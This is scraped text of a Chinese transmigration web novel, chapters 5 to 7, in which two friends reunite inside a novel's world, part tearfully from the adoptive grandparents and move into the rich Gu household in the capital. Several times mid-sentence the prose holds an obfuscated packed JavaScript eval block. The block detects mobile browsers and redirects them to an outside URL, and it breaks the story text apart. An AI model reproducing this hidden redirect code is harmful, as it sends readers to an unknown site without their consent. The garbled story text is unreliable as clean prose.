而且,就算一些部位会有些微出入,可眼前这张脸怎么看,都是自己再熟悉不过的,某个人十几岁的时候! 眼见着人就要进马车,她一边尽力拨开人群,一边使出吃奶的劲儿朝着那个方向,堪称声嘶力竭喊出了一个名字。 “顾凉凉!” “是你吗顾凉凉!” “顾凉凉……顾凉凉!顾凉凉是我!!顾凉凉!!!” 可惜效果甚微,市集上的人声几乎将她的声音掩去了大半。 马车上的华服少女毫无察觉。 沈时越这会儿是真快急哭了。 顾凉凉现在如果真的是许家的外孙女,那她就是皇商顾家的女儿,日后势必是要回京城的。 而且,从她方才跟商铺老板的只言片语中就能推断出,归期就定在这几天。 自己如今的身份只是个再普通不过的农家女,与她身份悬殊。 错过了这次机会,之后就算上京寻她,见到面的机会也不会大了! 顾家的马车出行高调,三匹良驹齐头并进,前面还有小厮专门驱散人群为其开路。 当温顺的马匹再次扬起马蹄,沈时越几乎是瞬间被人挤到了街边最里侧,动弹艰难。 眼睁睁看着马车从面前略过,自己的叫喊声却无人问津,心里因为没被最好的朋友认出来,积攒出的委屈瞬间一把火烧到了最盛,脑子里灵光乍现! 她使尽全力扒开前方挡路的四个壮汉,朝着前方行驶的马车怒吼出声。 “顾凉凉!你还记得自己被十八个男朋友同时甩后,酗酒爆哭的那个晚上吗!!!!!我被你哭湿了整整五个枕头!!!!!” 突然被推开的几个壮汉:“???” 正凑许家热闹凑得尽兴的古代八卦小分队:“!!!” 一时间,以沈时越为中心的方圆三里地堪称鸦雀无声,唯有数不尽的陌生面孔齐齐回头。 即使不知道“男朋友”是何方神圣,眼睛里依旧朝她迸发出八卦的光芒。 处在八卦正中心的沈时越:“……” 如果眼神有温度,她觉得自己这会儿就算是块儿钛合金也要化了! 而那辆奢华的马车,依旧行驶的不紧不慢。 有那么一瞬间,沈时越甚至以为自己真的认错了人。 可少顷,车前的马匹突然被勒制嘶鸣,车厢里跌跌撞撞跑出一个不顾侍女劝阻的身影。 少女头上的珠钗流苏叮咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还好我早早就写了遗嘱,自己一旦出事,名下所有的财产全捐给希望小学,呵呵!就算死,那些私生子、私生女都别想沾到我一丁点便宜!” 想起来那一张张带着顾老头影子的脸,顾凉凉心里就一阵犯呕,没忍住把手里攥着的杯子忿忿磕回桌子上。 “也就我们俩都命大没死成,反正我现在孤家寡人一个在哪生活都没差,但越越你是被我连累的,沈家那对夫妻……” “我和你一样,在哪活着都没什么区别,至于那两个人……恐怕我死没死,他们都懒得帮我收尸。” “越越……” 提及在现世的父母,沈时越面上的表情是前所未有的冷漠。 也或许是在她心里,那两个拥有跟自己最亲近的血缘关系的人,连素未谋面的陌生人都不如,她如今才能说出如此决绝的话。 5. 第 5 章 顾凉凉现下十分懊恼。 自己提什么不好,怎么偏偏提起了那两个人渣! “咳咳!那……越越你接下来有什么打算?我现在成了京城皇商顾家的女儿,过两天就要回去了,但我不想跟你分开,你那边是什么情况?” “我这边……说来话长。” 想到家里那两个老人,沈时越一时间也不知道该怎么办。 自己无论如何是一定要走的,但总不能直接跟两个老人家说,我其实不是你们的外孙女,我现在要跟好朋友走了,你们自己保重? 先不说自己莫名顶替了人家外孙女的身份这件事是事实,两个老人如今都已快是耳顺之年,自己要是不管不顾走了,他们接下来该怎么生活? 顾凉凉估计是从小到大倒霉惯了,心态随时随地都好到离谱。 “古人不都说天无绝人之路,办法肯定是有的。越越我跟你说,自从来这里之后我都快无聊死了!一没手机网络,二又没地方K歌蹦迪,整天还有一堆叽叽喳喳的塑料姐妹要应付,我都快被逼疯了!” “那不挺好,正好让你多长些心眼子,免得再发生同时被十八个渣男骗钱的蠢事。” 顾凉凉这人没什么不良嗜好,除了爱玩,顶多就是好色亿点儿。 当年她同时交了十八个男朋友这事,据说“后宫团”的人都互相知道,毕竟顾大小姐有的是钱,这个“家”挤一挤还能容忍。 但坏就坏在这十八个男人里面竟然有十三个属于同一个诈骗团伙,人当时还是沈时越亲自带人去抓的。 当然,剩下的那五个后来也进了局子。 原因是受了那十三个人挑唆,也想干票大的,自愿入了伙。 顾凉凉自己对以前的糗事也十分不忍直视,笑嘻嘻抱着沈时越的胳膊火速转移话题。 “哎呀有什么关系嘛~反正骗的都是顾老头的钱!” “闺蜜一生一起走,现世那些夜夜笙歌的日子虽然不再有,但姐们儿现在依旧有钱啊!别说是十八个男朋友,就算是二十八个也养得起!但长了脑子的顾凉凉已经不再是原先的顾凉凉了,男人什么的都是浮云!只有闺蜜是真爱!” “嘻嘻嘻宝贝儿你就别努力了,我养你啊!就是,咱们下次相认能不能换个方式?” 然而,见识过顾凉凉的“爱”究竟有多普惠大地,沈时越皮笑肉不笑的婉拒。 “谢邀不换,还有,我上辈子,还有这辈子,都不想体验一把‘宫心计’。” 两人在茶楼里一直聊到了临近中午。 李婶子卖完鸡蛋又跑去粮食铺子买了米和油。 两人本是要坐牛车回村子的,但顾凉凉派了小厮回去,给许家传午间不回府吃饭的话,沈时越就带她一起坐了马车。 “越丫头,你这……朋友不是我们镇子里的吧,这、这之前也从没见过……” 李婶子长这么大还是头回坐上富贵人家的马车,生怕自己弄脏了里面的地毯和靠枕,一路上都显得束手束脚、坐立难安。 顾凉凉这个社牛人士看出她的不自在,主动笑的和善搭话。 “我是从京城来的,婶子,跟越越算是儿时的玩伴,虽然没见过面,但越越跟我提过您很多次,说您一直对她很照顾,真是多谢您了!” “没有没有!就是给些米面,但越丫头后来采草药挣了钱又都还回来了,还送了肉……” “话可不能这么说,因为婶子心善才解了越越家当时的燃眉之急,不然哪有后来的事?这雪中送炭的可是大恩情,该是谢的!” “嗐这、这有什么好谢的,都是邻里乡亲,能帮一点是一点。” 李婶子都被夸的不好意思了,嘴笨的不知道该怎么推拒,神情却不知不觉放松了很多。 十几年前沈家小闺女大着肚子一个人回村,当时惹了不少闲话。 但说到底,那也是个苦命的姑娘。 被夫家抛弃,好不容易十月怀胎生下个女儿,结果却在女儿三岁那年就因病撒手人寰,独留身子还算健壮的老父老母抚养孩子。 好在如今孩子长大了,被老两口教养的很好,性格也不再像先前那般怯懦阴郁,还交了京城来的富贵朋友。 自己给沈家送米送菜仅是自己力所能及的善心,在旁人看来不过是小恩小惠。 可越丫头涌泉相报,有什么好事都愿意带上自家,合该是自己感谢越丫头才是。 马车晃晃荡荡驶进了村子,有好事的村民想凑上来看热闹,但都被车旁守着的家丁挡了回去。 沈时越带着顾凉凉回家的时候,沈阿婆正坐在院子里晒着太阳补衣服。 老人家本就收拾的整齐,最近伙食上来了,气色看起来也好了很多,面容看起来愈发慈祥。 那几只圈在后棚的小兔子也被沈阿公放了出来,一个个小毛球似的,散在院子里啃新生出来的嫩草,颇为悠然自得。 “阿公阿婆我回来了。” “越越回来啦!累不累?饭马上就好了。” 沈阿婆放下针线起身帮外孙女提东西。 顾凉凉这会儿乖巧的不得了,老老实实站沈时越身边,笑呵呵跟老人家打招呼。 “阿婆你好~我叫顾凉凉,是越越的朋友。” “你、你也好”,沈阿婆看到她愣了下,眼神重新看向沈时越时带了疑惑。 “不过越越怎么都没说过,有个这么漂亮的朋友?” “哈哈哈哈阿婆您客气了,我跟越越是今天才认识的,一见如故,本来是不准备叨扰的,但这不是正好要吃午饭了嘛,就厚着脸皮跟来了。” 来的路上两人就商量过了,儿时玩伴这种理由也就只能骗骗李婶子,对跟原主朝夕相处的亲人,多说多错,还不如直接交代两人也是今天才碰上的面。 沈阿婆听闻面上果然没什么异常,也很热情。 “不叨扰不叨扰!家里虽然没什么好东西招待,饭还是管饱的!” “老头子!再多炒两个菜,把剩下的那半只鸡也给炖了,越越带朋友回来了!” 农家好客,就算再怎么拮据,也会尽最大力让客人吃上顿安逸的饱饭。 是以,这顿午饭吃得十分祥和。 顾凉凉健谈,又长了一张讨老人家喜欢的乖乖女脸,期间沈阿公沈阿婆爽朗的笑声就没断过。 饭后两个老人家抢着收拾厨房,让沈时越去陪朋友聊天。 顾凉凉随手抱了只院里同样吃饱打盹的小白兔撸,二大爷似的,边翘着腿晒太阳,边吃沈时越今天才新买的茶点。 “还别说,这古代虽然没什么娱乐活动,但空气是真好,还能自己打野味。越越,你不是说这儿离朝暮山挺近的吗,要不一会儿我们去山上转转?” “就你平日那运动量,到山脚下估计都走不动了,还有,别以为我不知道你脑子里想的什么,我昨天才去过朝暮山,里面连只肥点的狍子都没有,更没有大活人。” “嘻嘻嘻越越你怎么这么懂我?我要是个男的都要爱上你了~” “少贫。” 沈时越嫌弃的推开顾凉凉凑过来的讨好脸,把被她揉的乱糟糟的小白兔从魔爪下解救了出来。 就是因为太了解顾凉凉一见好看男人,就智商清零的性格,她才根本不敢把自己早遇上过原书男一、男二的事说出来。 毕竟客观来说,寻盛跟寻清宴的长相,确实都比某人那十八个渣渣男朋友好看太多。 但再好看有什么用? 男一、男二以后终究都是要围着女主转的,她们这些炮灰跟着瞎凑什么热闹。 “好啦好啦我也没想怎么着,毕竟我可是看过原著的人,不会为了美色犯傻。” 顾凉凉敛了敛衣裙,收起面上的嬉笑,神色难得颇为认真,“但越越你是知道的,先前我就一直很喜欢书里寻清宴这个人物,既然穿过来了,不见他一面还真是有些不甘心。” “……有什么好看的?” “拜托那可是我男神诶!不仅三观正还不恋爱脑,更何况书里把他写的跟个神仙似的,你就不想知道他究竟长什么样?” “你说他会不会是那种白鹤似的人,气质遗世独立、清冷里带着些温柔……” “不对,书里说了我男神是个性格很好的人,那他估计是个翩翩公子……” 沈时越不再出声,抱着小兔子放松的闭起眼睛,听身边的人絮叨。 春风送暖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500471|170318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气里夹杂着雨后新出嫩草的芬芳。 耳边顾凉凉叽叽喳喳的声音并不聒噪,相反,让她有种并未出过车祸意外来到另一个世界的割裂感。 说起来,寻盛和寻清宴这会儿大概率已经回宫里养伤去了吧。 男一的主角光环强到刺眼,腿上那点伤以后估计不会落下什么病根。 就是不知道那个小可怜的寻清宴怎么样了…… …… 小姐大半日未归家,晚间时候,许家忍不住派了人往这边探消息。 顾凉凉玩儿舒坦了明显不想走,死缠烂打磨到晚饭,然后又借由夜间不安全,把许家的管家哄了回去,自己赖在了沈家。 初春的夜间总是格外寒凉,土坯纸窗影影绰绰,微暗的烛光将房间内染上些许暖意。 沈时越洗漱完后没急着上床,而是借着烛光又坐到梳妆台前取下带了一整天的面纱。 铜镜朦胧,映出她不甚清晰的面容,但依稀能分出是张朱唇翘鼻的美人面,再加上肤色本就白,反倒显得她左眼下铜钱大小的瘀疤尤为刺眼。 早早洗漱完,趴床上看话本的顾凉凉见了她这幅样子蹙起眉,又披上外衣下床跟她挤一张板凳上坐。 “刚见面的时候我就想问你了,你脸上的这块疤是怎么回事?” “是我这个身份的原主脸上带的伤,不过我来这里之后没过几天,它就消失了。” “???消失?” “嗯。” 带着她扫到自己脸上不明所以的视线,沈时越从梳妆台破旧的抽屉里翻出个小药瓶。 里面装的应该是某种植物的汁液,倒出来绿呼呼的,她拿这玩意儿浸了帕子在那块瘀疤上轻轻擦拭。 慢慢的,瘀疤暗紫色的痕迹越来越浅,最后露出原本白净的肤色。 “之前怕在阿公阿婆面前露馅,就用紫珠果又画了回来。” “那就好那就好。” 顾凉凉松了口气,捧着她干干净净的脸看,觉得顺眼多了。 “我还以为穿了回书就让你毁容了呢,要真是这样,姐们儿把这里所有名医都找过来给你看伤,反正有的是钱,治不好谁都不许走!” 沈时越不免好笑,“不用担心,脸上留块疤总比没命强,而且不是有你这个大款在?” 夜深,两人并齐躺到了床上聊天。 沈阿婆怕顾凉凉一个千金小姐睡不惯乡下的床,把家里仅有的一双新棉被都抱出来给她们铺在了身下。 暖烘烘的,带着晴天晒过得阳光的气息。 沈阿公以前虽然是木匠,但因为原主母亲病重掏空了所有积蓄,让本来还算富余的家一下子清贫起来。 房间角落里那架梳妆台,曾是他亲手为女儿打造的嫁妆,可惜始终没有送出去的那天,后来就给了原主用。 这十几年间家里再苦,老两口都没想过要卖掉它。 原主屋里看起来简陋,实则已是整个沈家最好的房间了。 顾凉凉翻了个身,把额头抵在沈时越肩膀上蹭了蹭。 “越越,其实刚来这里的时候我每天都睡不着觉……这里的一切都是陌生的,我很害怕,害怕哪天露馅,被人当成疯子或者鬼附身抓起来……” “顾家的人对我都很好,跟顾老头完全不一样,但我始终不是原主,总觉得受之有愧。” “可越越我知道,这幅身体就是我自己的,十六岁时候的我自己,我也只是一个意外被拉到这里的人……” 沈时越轻轻握住了她藏在被子里攥紧的手。 夜深人静之际,她们这两个来自异世的人像抱团的小兽,互相感受着彼此的存在。 “我知道,所以就算今天没有遇上,我日后也会去找你。” 没有什么华丽虚无的修饰托词,只是因为她们是最好的朋友,所以自己一定会这么做。 顾凉凉瞬间感动地稀里哗啦的,然后抽了抽鼻子,故态复萌。 “唉~越越,有你真好,我要是个男的我就嫁给你了~” “……婉拒,情况暂时还没糟糕到需要一个移动倒霉蛋傍身。” 真谁沾谁凉·顾凉凉·移动倒霉蛋:…… …… 6. 第 6 章 沈时越第二天特地起了个大早。 昨天两人聊到半宿才歇下,顾凉凉这会儿正睡得昏天黑地。 但许家人昨晚说了会在今天辰时把人接走,她才想着提前把早饭做出来。 可待厨房门打开,里面竟已经有了人。 “阿公?您今天怎么起这么早?” 沈阿公身子一向不怎么利落,尤其是早上寒气重,会加重他腿和手指关节上难愈旧伤的疼痛。 老人家觉少是没错,但往常这个时间他跟沈阿婆一般都还在休息。 今天也不知道是怎么了,不仅起得比她早,还把家里大半的白面粉都拿了出来和面,说是要准备蒸馒头。 “越越是不知道,你阿公我年轻的时候就有一门蒸馒头的好手艺,我用面团捏出来的动物个个惟妙惟肖,你阿婆年轻时候就是因为喜欢吃我做的馒头,后来才会愿意嫁给我这个穷木匠的。” “那您也该跟我说一声啊,和面这么累,就算您想蒸馒头我也可以帮您。” 一只白白胖胖的小兔子面团新鲜出炉,沈阿公转头抬臂掩面咳了两声,笑得敦厚又慈爱。 “这有什么累的,阿公年轻的时候可是什么累活都做过。” “但您现在有了我,我可以帮你们的。” 老人家没有拦着她帮自己揉面团,只是原本温和的眼神复杂了很多,语气里带上了几分怅然。 “阿公这辈子啊好像一直都在忙碌,年轻的时候想让你阿婆过上好日子就拼命做木工,后来有了女儿,尽自己所能悉心教养她长大,唯恐她嫁了人后遭人欺负。” “咳咳……可阿公还是没守好她,让她在外面受了委屈,后来更是年纪轻轻丢了性命。” “至于越越……她小时候性子很活泼,我跟你阿婆那时候忙着做工给家里还债,都忽视了孩童间也有言语中伤、欺负,才让她脸上留了那块瘀疤,性子变得愈来愈沉默软弱。” 沈时越揉面的动作渐渐顿住。 似是有某种预感能猜到这位老人接下来会说什么,她的嗓子有些发紧,神情里尽是不知所措。 “阿公,我……” “别怕孩子,我的外孙女是什么性子,我再清楚不过。” “我跟你阿婆身体都不好,先前没有把越越养好,现在又让你一个姑娘家家挑着家里的担子,我们对不起越越,也对不起孩子你。” “您这是说的什么话?你们既然早就知道我不是你们的亲外孙女,却还是收留了我,是我应该谢谢你们!在我心里,你们早就是我的亲人了!” 沈阿公神色依旧平和,却摇了摇头,“孩子,我们不能困住你。” “你有属于自己的人生,有属于自己的朋友,你有更好的去处,会活得更快乐,而不是一辈子困在这小小的平岁镇,终日与琐事为伴。” “你那位朋友气度不凡,估计是京城来的,我能看出来那也是个好孩子。她想让你跟她一起走,你就跟她走吧,我跟你阿婆年纪大了,不知道还有几年活头,不能耽误你,你啊也不用挂念我们两个。” “不是的阿公,我是想跟凉凉走,但我从来没想过要抛下你跟阿婆,我想带你们一起走,我有很多办法养活你们,只要你们愿意,我就是你们的亲外孙女,会一直照顾你们!” 她现在这幅慌忙为沈外公解释的样子,倒比平时更像个十六岁的少女了。 慌张,无措,还有眼睛里独带的诚挚。 她在样貌上确实跟先前分毫不差,但有些东西就算有心,也难以掩饰。 沈阿公静静地看着她熟悉的身形轮廓,却从没有把这个“天上掉下来”的小姑娘跟自己的亲孙女认错过。 “孩子,这是你跟我跟你阿婆的缘分,也是……” 中年丧女,晚年丧孙。 跟你的相识,亦是我跟你阿婆的命。 “去看看你阿婆吧,她知道不能强留下你,天没亮就开始帮你收拾东西……” 在沈家生活的这三个月,沈时越没有任何一刻觉得,眼前这扇早已腐败残缺的木门,竟会如此沉重。 她的手有些抖,不受控制眷恋屋内昏暗的烛光。 “吱呀”一声。 门开了。 屋内等候多时的沈阿婆早已泣不成声…… …… “这些布料是阿婆早就攒下来,准备等你生辰时给你做新衣的,可惜时间不够做件成衣了,带着吧,届时找个裁缝,再花上几文钱就能收尾。” “这些腌菜知晓你爱吃,我就腌了很多,记得过些天再拿出来吃,入味……” “还有这个银镯子,是你阿公跟我融了当年成亲时的最后一件首饰打的,本也是打算在你生辰时送的,如今……” “阿婆……” “不说这个了,来,孩子,戴上吧,虽然不值几个钱,但这是我跟你阿公的一片心意。” 站在平岁镇镇口的沈时越拎了拎手里越来越重的包袱,有些无奈,但还是任由沈阿婆将款式素雅的银镯套到了腕间。 “大小刚刚好,我们越越皮肤白,果然是戴什么首饰都好看!” 早间刚吃罢饭,许家来接人的马车就浩浩荡荡进了村。 沈家两个老夫妻身体差,沈时越无论如何都放心不下他们继续留在村子里。 没成想顾凉凉已经考虑到了这一点,老早传了书信给许家,要把两个老人带回去。 沈阿公阿婆起初自然不肯,毕竟是生活了大半辈子的村子,在此之前他们从未想过离开。 但许家人很和善,说成是请两个老人家打扫院落,除了提供住处、饭食、每月给工钱,还承诺若是想家了,可以随时往返回村看看。 言至于此,两个老人家才做梦似的忙不迭也收拾了包袱,一同来了许家。 仅剩的三天相处时间一晃而过,现如今顾家回京的物什已整顿齐全,她和顾凉凉是真的要离开了。 “京城的日子不好过,阿公阿婆不在身边,莫要……莫要让自己受委屈。” “我知晓,待到了京城,我会时常写信回来,有空闲也会回来看你们。” “好,届时信我肯定找人一字不差全听完。对了,襟带有没有,在京城里遇上喜欢的好人家了别作难,我跟你阿公还能干活儿,就算砸锅卖铁也能给你出抬好嫁妆。” 沈时越条件反射往袖口碰了下,没摸到一直在那里的东西,一时间也想不起来临走前有没有将其放到包袱里。 “唉算了算了,没带就没带吧,碰上喜欢的人再绣一条便是……时辰差不多了,走吧……” 沈阿婆心思细腻,纵然送别时面上一直维持着笑,可真到了临行那一刻还是万般不舍得。 沈阿公轻拍着她的肩安慰,开口却不是挽留的话。 “好孩子,你安心去京城,不如意了就回来,阿公阿婆一直都在。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“那当然,我们越越当年在学校可是远近闻名的大美人,爱慕她的小男生多到都能把整个平岁镇围起来。” 说起好姐妹的光辉事迹,顾凉凉话本一扔,昂首挺胸,生出一股由内而然的自豪感。 不知道的还以为是夸她自己呢。 “诶我可跟你们说,越越是我最好、最亲近的朋友,以后在顾家,她的身份跟我是一样的,都尽心些,侍奉好了本小姐不会亏待你们。” “小姐说的这是哪里话,照顾小姐本就是我跟点春该做的,沈姑娘既是小姐的至交好友,奴婢们自然会尽心。” 迎夏有分寸的没问沈时越为何以面纱示人,但默默在心里给她安了一个极重的分量,笑着应承下主子的吩咐。 小丫头长相清秀,笑起来很讨喜。 顾凉凉为人大方,在现世对待家里的佣人都从没吝啬过,更别提现如今对上跟自己年纪差不多的小姑娘。 “你们这几天跟我到平岁镇折腾一通也辛苦了,等回了家,自己去找管家拿十两赏银。” 要知道,顾家丫鬟俸禄每月有整整三两银子已算是京城里头一份了。 得了额外赏赐,迎夏自然喜不胜收,忙拉着一直不吭声的点春谢恩。 “行了,本小姐也累了,你们都先退下吧。” “是。” …… 7. 第 7 章 顾府是座三进三出的大宅院。 据说前身是前朝某个四品大臣的府邸,后来因为犯事儿,宅子被宫里收了回去,十年前才被赐给当时风头正盛的顾家。 普普通通的大门,平平淡淡的前院布景。 从大门望进去,只有几棵光秃秃的柿子树,缀着零星几片叶子支棱着,还看起来要死不活。 不过府邸面积倒是十分可观,就是经历过岁月的洗礼略显沧桑,甚至门后铺路的青石板还裂了几块儿。 嗯……怎么说呢,能看出来,那个倒霉催的大臣应该不是因为贪·污才掉了脑袋。 顾凉凉揽着沈时越的胳膊,跟在顾父背后跟她小声蛐蛐,前段时间见过的哪家千金有多么多么奇葩。 沈时越揉着额角听她絮叨,看着顾家一路上的格景布局,总觉得作为皇商住处,这座府宅是不是太“低调”了些。 然而紧接着再穿过两个门,她的眼睛猝不及防经历了一场地震。 好家伙!果然是自己格局小了。 那用给自家人居住的楼阁,一句雕梁画栋形容都不足为过! 也不知道是不是挨厢房那边近的缘故,明明只三月份的天气,满园各色牡丹、蔷薇已经开得甚是艳丽,粉白玉兰花冒出花骨朵,各色迎春花团锦簇。 还有很多说不出名的奇珍异草郁郁葱葱,长势喜人。 最夸张的是,院子中心的假山湖泊堪比现代某些小型旅游景点,泉声作响,水雾弥漫,浑身上下都散发出一股我很值钱的气息。 大概是沈时越盯着假山,面上一副“这山应该在这儿吗”的表情太过明显,顾父笑着擦了擦额角的薄汗解释。 “沈姑娘莫怪,实在是顾家在京中风头太过,老夫不得已才把院落改成如今的格局,避免在前来拜访的宾客前露财。不过别担心,今天是回来的匆忙才没来得及安排步辇,待下午管家安排下去,以后出门回院落就不用走这么长的路了。” 只是被富贵迷花眼的沈时越:……不是大伯父,这是坐不坐步辇的事儿吗? 顾凉凉先前在这里待了三个月,早就习惯了顾府埋藏于深层的奢靡,急吼吼拉着好闺蜜去看自己现在住的地方。 听雪院紧挨着主院琼玉阁,坐北朝南,地理位置极佳,还带了一片面积相当可观的花圃。 现如今正值早春,里面妖艳芍药跟清雅海棠开得极好。 沈时越临走前把那几只小兔子也带了来。 小家伙儿们伙食好,如今已从拳头大的小毛球长到了巴掌大。 换了新环境也不怯场,被从笼子里放出来后就各自蹦跶着找嫩草吃去了。 顾凉凉挨个撸过它们的头,领着沈时越推开房门。 厢房里烧着炭火,满屋都是山茶花淡淡的甜香。 入门便能看到的宝格架上悉数摆着少女喜欢的物件,地上铺了毛茸茸的地毯,踩上去像是陷进了柔软的云朵里。 再往里面走上十几步是歇脚休息的地方。 宽敞的软榻上摆了不少靠枕,形状也都是姑娘家喜欢的样式,流云缎面的锦被用来做垫子,很容易便能想象到小憩时躺在上面该是多惬意。 如此精心的布置,看得出来,顾家很是宠爱顾凉凉的这个原身。 顾夫人长相温婉端庄,嘴角总是带着笑,说起话来也是轻声细语的。 大抵是怕小姑娘不适应离家生活,回京的这一路她没有过分热情,可一回顾府,就亲力亲为布置起沈时越的住处来。 按照原先的打算,她还准备专门给沈时越辟出一座新院落,在顾凉凉强烈同住邀请下,不得已打消了这个念头。 承蒙恩惠的沈时越不免有些难以为情,“顾伯母,真是麻烦您跟顾伯父了,不仅在平岁镇为我阿公阿婆安排了去处,现如今还要为我的住处操劳。” “不麻烦不麻烦,沈姑娘不用跟我客气,就跟当在自己家一样!我就凉凉这一个女儿,三个月前要不是你,我哪里还能再见到她……” 提及伤心事,顾夫人的眼泪差点说落就落。 沈时越:? 这又是哪出戏来着…… 她默默扫了一眼突如其来策划出一场阳谋的顾某人,僵着身子安慰这位多愁善感的温柔母亲。 “啊,不客气伯母,这都是、我应该做的……” “噗!怎么就成‘该做’了,你这孩子可真有意思,怪不得凉凉这么喜欢你。” 顾夫人被她这笨拙的安慰又逗笑了,拿手绢沾了沾眼角。 “你啊就安心住在这里,以后顾家就是你的家!” 收拾好住处,顾夫人就带着人离了开,把空间留给两个孩子。 离开前,她朝顾凉凉道:“枫儿再过半个月就从你祖父家回来了,届时你带他也认认人,别怠慢了时越。” “晓得了晓得了,阿娘你也快回去歇歇吧~” 待阁楼大门关上,两人皆是松了口气,塌下肩膀坐下,缓冲这一天紧绷的神经。 沈时越给自己倒了杯水,扶着脑袋有些头疼。 “顾凉凉,我说,你究竟又给我安排了什么戏码?为什么你爹娘对我跟我阿公阿婆这么热情?” 甚至,有些热情的过了头。 坐她身旁用手猛扇风的顾凉凉倏地顿住,挠了挠头有些心虚。 当时离开平岁镇情况紧急,为了顺利带沈时越离开,她就匆忙瞎编了一场救命之恩扣到了沈时越头上。 后来一路舟车劳顿,不留神儿就把这事儿给忘了,一直没来得及跟好友对“口供”,也幸得没被顾夫人穿帮。 “说出来你可能不信,我的这个原身是个死倔旱鸭子,大冬天的,非要跑到距京城老远的郊外荷花池里破冰钓鱼,还甩开了侍女小厮,最后不知怎么的就掉到了湖里,我醒过来的时候就已经湿淋淋的在岸边了。” 顾凉凉也颇为无语耸了耸肩。 “反正也不知道是谁救得我,当时我爹问起我的时候,我只说记不清怎么到岸上的了,后来不是着急带你走嘛,就顺便把这个救命之恩安你头上了。” “我猜应该是我占了这个身份的缘故,剧情需要吧,不然真等我在湖里醒过来,不淹死也要被冻死了。” 别说,还真有几分道理。 沈时越深吸了口气,“下次再有这种情况,一定要事先告诉我!不然真的太被动了,搞不好还会被熟悉的人看出端倪来。” 顾凉凉不好意思地挠了挠脸颊,“嘿嘿嘿,知道啦~” 沈时越看着笑得跟傻子一样的某人:…… “对了,刚才顾夫人说的枫儿是谁?” “他呀,是我这个身份的弟弟,叫顾临枫,今年才七岁,前段时间去祖父家玩了,过段时间才回来。” 沈时越不免好奇:“你这个身份还有个弟弟?” 提起这个,顾凉凉突然想到什么,神情突然心虚起来。 “那个……越越,有件事我其实忘了告诉你,我说了你可一点要淡定。” 跟顾凉凉当了这么多年好闺蜜,每次她闯祸的时候,都是这幅表情。 过往那些“血淋淋”的前车之鉴历历在目,沈时越不免警惕起来。 “什么事?你先说。” “我这个身份其实还有一个名字,叫顾初雪,是……” 原书恶毒女配顾初雪,家财万贯,性格娇蛮,头脑简单,心思恶毒。 在《重生之凤起》这本原著里多次跟女主宋寒依作对,最后被男女主合力搞到家破人亡,所有财产全部充公。 原文中对顾初雪这个人物的背景描写并不多,毕竟只是个连女四都算不上的小配角,只言其父从商,很受当今圣上器重。 沈时越深吸一口,腹诽顾凉凉这倒霉催的体质怎么到哪都这么逆天。 “你告诉我,你现在跟女主还没扯上关系,对吧?” “没有没有你放心!估计是我穿过来改变了某些剧情的缘故,原主本来是会被路过的男主救下的,然后对男主一见钟情,后面才会一直跟女主作对。但是现在我没有被他救下,也不喜欢他,自然没理由去跟女主做对了。” “那就好那就好”,沈时越高高悬起的心稍稍放下了些,面上带了些许严肃。 “顾凉凉,以后不管是机缘巧合还是原书剧情推动,记得,都少去招惹跟男女主有关的事,即使一些剧情点因为我们的到来已经改变了,但这里是权力至上的古代,顾初雪这个人物在原书中并不好,现如今保全性命是最重要的事。” 同样深知其中利害关系的顾凉凉乖巧点头,就差伸手指天发誓了,“我知道的越越,我绝对不会去主动招惹男女主!” 然后迎着沈时越甚是欣慰的眼神话风一转:“嘿嘿嘿嘿寻清宴不是男主,那我能去招惹他吗?” 沈时越:…… 啊,原来人在无语的时候人的会笑。 …… 相较热闹的顾家,静静屹立在京城最不起眼角落的璃王府要冷清得多。 小全子一早便得了师父王德胜的吩咐,将府医开好的汤药熬了整整两个时辰。 他年纪小,性子又生得机灵,在府中很得姑娘们眼缘。 璃王房中伺候的大侍女如绢姑娘手里托着漆盘,进殿前悄摸摸朝在门口侍着的他使了个眼色。 “去寻些蜜饯来,殿下受不得汤药的冲味儿。” “多谢姐姐提点!” 他这两天才接下近身侍奉的差事,还真不知道璃王在饮药时有食甜物的习惯。 破船犹有三千钉。 要在之前,自己这种小太监是只能远远望上一眼这位殿下的。 隐约记得那是个性情温和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小全子忙不迭呈着药撩开珠帘,规规矩矩站到离床榻两三尺的地方不敢抬头。 而后,一双骨节分明的手慢吞吞端起托盘上的药碗,腕上隐在月白里衣下的一抹浅色一闪而过。 “你有些面生,先前是在何处侍候的。” 大抵是大病初愈,寻清宴说起话来声音很轻,但很奇怪,却没有病恹恹的感觉。 白瓷的汤勺在褐色的汤药里搅了好几圈,不见药少,倒是热气散了大半。 小全子骤然被问话受宠若惊,把话在肚子里滚了好几轮才谨慎回道。 “回殿下,奴才小全子先前在膳房做事,王德胜王公公是奴才的师父,前些日子伤了腰,奴才才得了这进殿侍候的活儿。” “嗯。” “……” 璃王不明所以应了这么一声就没了下话,偌大的内殿再次安静下来,恢复沉闷。 小全子只恨自己嘴笨,压根不知道怎么讨这位主子欢心,犹如脚下生钉般站在原地,心里翻来覆去热锅炒蚂蚁。 直到约莫过了半刻钟,空药碗才重新又被放回漆盘。 